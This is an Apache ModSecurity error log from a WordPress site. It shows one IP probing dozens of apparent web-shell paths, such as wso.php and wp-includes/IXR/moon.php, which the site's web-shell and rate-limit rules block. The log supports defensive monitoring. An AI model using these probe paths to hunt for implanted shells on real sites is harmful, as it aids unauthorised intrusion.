[Sat Feb 07 09:51:34.160509 2026] [:error] [pid 50673:tid 50741] [client 20.100.190.151:27254] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-includes//index.php"] [unique_id "aYaapmVwLsaZ7aKO2clF7gAAAIY"]
[Sat Feb 07 09:51:36.475197 2026] [:error] [pid 50671:tid 50685] [client 20.100.190.151:39760] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-includes//index.php"] [unique_id "aYaaqLvqLohWBI_mqBMmXwAAAAU"]
[Sat Feb 07 09:51:38.559044 2026] [:error] [pid 58058:tid 58078] [client 20.100.190.151:30155] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp/wp-includes//index.php"] [unique_id "aYaaqrz-Qlvs65S4DP-EpAAAAZE"]
[Sat Feb 07 09:51:39.771482 2026] [:error] [pid 50671:tid 50682] [client 20.100.190.151:27935] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aYaaq7vqLohWBI_mqBMmZAAAAAI"]
[Sat Feb 07 09:51:40.461653 2026] [:error] [pid 55157:tid 55178] [client 20.100.190.151:15914] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aYaarH36JdtTn2bTEow9BAAAARA"]
[Sat Feb 07 09:51:41.040313 2026] [:error] [pid 50780:tid 50790] [client 20.100.190.151:39800] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aYaaretUmIu2JHM2CrvuWgAAAMg"]
[Sat Feb 07 09:51:41.716064 2026] [:error] [pid 55157:tid 55165] [client 20.100.190.151:26711] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ton.php"] [unique_id "aYaarX36JdtTn2bTEow9CwAAAQM"]
[Sat Feb 07 09:51:42.258264 2026] [:error] [pid 50673:tid 50749] [client 20.100.190.151:35955] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aYaarmVwLsaZ7aKO2clF_gAAAI4"]
[Sat Feb 07 09:51:42.969111 2026] [:error] [pid 50673:tid 50740] [client 20.100.190.151:26731] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aYaarmVwLsaZ7aKO2clGAQAAAIU"]
[Sat Feb 07 09:51:43.735612 2026] [:error] [pid 50673:tid 50744] [client 20.100.190.151:35186] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aYaar2VwLsaZ7aKO2clGAwAAAIk"]
[Sat Feb 07 09:51:44.389938 2026] [:error] [pid 50672:tid 50725] [client 20.100.190.151:26748] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aYaasA9o0jq1XS8Nv7PGNgAAAFE"]
[Sat Feb 07 09:51:45.149980 2026] [:error] [pid 55157:tid 55175] [client 20.100.190.151:35177] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/fk2e3/"] [unique_id "aYaasX36JdtTn2bTEow9EgAAAQ0"]
[Sat Feb 07 09:51:45.746382 2026] [:error] [pid 50671:tid 50700] [client 20.100.190.151:30146] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/fk2e3/"] [unique_id "aYaasbvqLohWBI_mqBMmawAAABQ"]
[Sat Feb 07 09:51:46.360381 2026] [:error] [pid 43182:tid 43206] [client 20.100.190.151:27208] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/fk2e3/"] [unique_id "aYaasvEC82JnxmrnFYkkEwAAAVY"]
[Sat Feb 07 09:51:47.033720 2026] [:error] [pid 50673:tid 50741] [client 20.100.190.151:35151] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/fk2e3/"] [unique_id "aYaas2VwLsaZ7aKO2clGDAAAAIY"]
[Sat Feb 07 09:51:47.804634 2026] [:error] [pid 55157:tid 55185] [client 20.100.190.151:25993] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aYaas336JdtTn2bTEow9FAAAARc"]
[Sat Feb 07 09:51:48.459781 2026] [:error] [pid 50673:tid 50743] [client 20.100.190.151:26012] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a2.php"] [unique_id "aYaatGVwLsaZ7aKO2clGEAAAAIg"]
[Sat Feb 07 09:51:53.021541 2026] [:error] [pid 50673:tid 50755] [client 20.100.190.151:36401] [client 20.100.190.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/IXR/moon.php"] [unique_id "aYaauWVwLsaZ7aKO2clGFwAAAJQ"]
[Sat Feb 07 09:52:00.733787 2026] [:error] [pid 50671:tid 50689] [client 20.100.190.151:18654] [client 20.100.190.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.100.190.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYaawLvqLohWBI_mqBMmdAAAAAk"]
[Sat Feb 07 09:52:06.953834 2026] [:error] [pid 50780:tid 50784] [client 20.100.190.151:26010] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WordPress/x/"] [unique_id "aYaaxutUmIu2JHM2CrvuowAAAMI"]
[Sat Feb 07 09:52:07.650714 2026] [:error] [pid 58058:tid 58082] [client 20.100.190.151:26898] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WordPress/x/"] [unique_id "aYaax7z-Qlvs65S4DP-ExgAAAZU"]
[Sat Feb 07 09:52:08.537024 2026] [:error] [pid 55157:tid 55171] [client 20.100.190.151:25293] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WordPress/x/"] [unique_id "aYaayH36JdtTn2bTEow9OgAAAQk"]
[Sat Feb 07 09:52:09.409381 2026] [:error] [pid 58058:tid 58077] [client 20.100.190.151:22882] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/WordPress/x/"] [unique_id "aYaaybz-Qlvs65S4DP-EyQAAAZA"]
[Sat Feb 07 09:52:10.632038 2026] [:error] [pid 58058:tid 58075] [client 20.100.190.151:25323] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aYaayrz-Qlvs65S4DP-EzQAAAY4"]
[Sat Feb 07 09:52:11.241001 2026] [:error] [pid 50780:tid 50782] [client 20.100.190.151:45090] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aYaay-tUmIu2JHM2CrvuuAAAAMA"]
[Sat Feb 07 09:52:11.768527 2026] [:error] [pid 50780:tid 50796] [client 20.100.190.151:5430] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aYaay-tUmIu2JHM2CrvuugAAAM4"]
[Sat Feb 07 09:52:12.346370 2026] [:error] [pid 50673:tid 50738] [client 20.100.190.151:34914] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ze.php"] [unique_id "aYaazGVwLsaZ7aKO2clGOwAAAIM"]
[Sat Feb 07 09:52:12.923708 2026] [:error] [pid 50780:tid 50792] [client 20.100.190.151:34468] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aYaazOtUmIu2JHM2CrvuvgAAAMo"]
[Sat Feb 07 09:52:13.527021 2026] [:error] [pid 43182:tid 43204] [client 20.100.190.151:34442] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aYaazfEC82JnxmrnFYkkSAAAAVQ"]
[Sat Feb 07 09:52:14.276303 2026] [:error] [pid 50780:tid 50789] [client 20.100.190.151:40765] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aYaazutUmIu2JHM2CrvuwgAAAMc"]
[Sat Feb 07 09:52:14.924786 2026] [:error] [pid 58058:tid 58067] [client 20.100.190.151:35328] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/geck.php"] [unique_id "aYaazrz-Qlvs65S4DP-E0wAAAYY"]
[Sat Feb 07 09:52:15.576922 2026] [:error] [pid 43182:tid 43185] [client 20.100.190.151:26939] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aYaaz_EC82JnxmrnFYkkSgAAAUE"]
[Sat Feb 07 09:52:16.351861 2026] [:error] [pid 55157:tid 55164] [client 20.100.190.151:40959] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aYaa0H36JdtTn2bTEow9QQAAAQI"]
[Sat Feb 07 09:52:17.142481 2026] [:error] [pid 43182:tid 43198] [client 20.100.190.151:23849] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aYaa0fEC82JnxmrnFYkkUAAAAU4"]
[Sat Feb 07 09:52:17.748698 2026] [:error] [pid 50672:tid 50721] [client 20.100.190.151:36098] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/menu.php"] [unique_id "aYaa0Q9o0jq1XS8Nv7PGUgAAAE0"]
[Sat Feb 07 09:52:18.367080 2026] [:error] [pid 58058:tid 58066] [client 20.100.190.151:23841] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aYaa0rz-Qlvs65S4DP-E2wAAAYU"]
[Sat Feb 07 09:52:19.130389 2026] [:error] [pid 50671:tid 50690] [client 20.100.190.151:40755] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aYaa07vqLohWBI_mqBMmkAAAAAo"]
[Sat Feb 07 09:52:19.850681 2026] [:error] [pid 50671:tid 50697] [client 20.100.190.151:40761] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aYaa07vqLohWBI_mqBMmkQAAABE"]
[Sat Feb 07 09:52:20.403386 2026] [:error] [pid 58058:tid 58082] [client 20.100.190.151:25877] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/function.php"] [unique_id "aYaa1Lz-Qlvs65S4DP-E4QAAAZU"]
[Sat Feb 07 09:52:21.028029 2026] [:error] [pid 50673:tid 50752] [client 20.100.190.151:25831] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aYaa1WVwLsaZ7aKO2clGSgAAAJE"]
[Sat Feb 07 09:52:21.798602 2026] [:error] [pid 58058:tid 58074] [client 20.100.190.151:23828] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aYaa1bz-Qlvs65S4DP-E5AAAAY0"]
[Sat Feb 07 09:52:22.420777 2026] [:error] [pid 55157:tid 55173] [client 20.100.190.151:40726] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aYaa1n36JdtTn2bTEow9RwAAAQs"]
[Sat Feb 07 09:52:23.016517 2026] [:error] [pid 50673:tid 50754] [client 20.100.190.151:39695] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aYaa12VwLsaZ7aKO2clGTgAAAJM"]
[Sat Feb 07 09:52:23.544441 2026] [:error] [pid 50673:tid 50736] [client 20.100.190.151:35375] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aYaa12VwLsaZ7aKO2clGUQAAAIE"]
[Sat Feb 07 09:52:24.244227 2026] [:error] [pid 50673:tid 50749] [client 20.100.190.151:25880] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aYaa2GVwLsaZ7aKO2clGUgAAAI4"]
[Sat Feb 07 09:52:25.123002 2026] [:error] [pid 50673:tid 50743] [client 20.100.190.151:25366] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aYaa2WVwLsaZ7aKO2clGVgAAAIg"]
[Sat Feb 07 09:52:25.793958 2026] [:error] [pid 58058:tid 58075] [client 20.100.190.151:34479] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/flower.php"] [unique_id "aYaa2bz-Qlvs65S4DP-E6AAAAY4"]
[Sat Feb 07 09:52:26.507185 2026] [:error] [pid 50671:tid 50684] [client 20.100.190.151:35353] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aYaa2rvqLohWBI_mqBMmlgAAAAQ"]
[Sat Feb 07 09:52:27.170723 2026] [:error] [pid 50671:tid 50700] [client 20.100.190.151:40912] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aYaa27vqLohWBI_mqBMmlwAAABQ"]
[Sat Feb 07 09:52:27.738922 2026] [:error] [pid 50673:tid 50754] [client 20.100.190.151:25861] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aYaa22VwLsaZ7aKO2clGYAAAAJM"]
[Sat Feb 07 09:52:28.640847 2026] [:error] [pid 58058:tid 58084] [client 20.100.190.151:25866] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ftp.php"] [unique_id "aYaa3Lz-Qlvs65S4DP-E6QAAAZc"]
[Sat Feb 07 09:52:29.599946 2026] [:error] [pid 50672:tid 50723] [client 20.100.190.151:23741] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "aYaa3Q9o0jq1XS8Nv7PGZAAAAE8"]
[Sat Feb 07 09:52:30.194496 2026] [:error] [pid 50671:tid 50703] [client 20.100.190.151:5579] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "aYaa3rvqLohWBI_mqBMmnQAAABc"]
[Sat Feb 07 09:52:30.751092 2026] [:error] [pid 43182:tid 43201] [client 20.100.190.151:23897] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "aYaa3vEC82JnxmrnFYkkVwAAAVE"]
[Sat Feb 07 09:52:31.514828 2026] [:error] [pid 50672:tid 50718] [client 20.100.190.151:23688] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mds.php"] [unique_id "aYaa3w9o0jq1XS8Nv7PGaAAAAEo"]
[Sat Feb 07 09:52:32.163475 2026] [:error] [pid 50673:tid 50752] [client 20.100.190.151:40704] [client 20.100.190.151] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ahax.php"] [unique_id "aYaa4GVwLsaZ7aKO2clGbQAAAJE"]
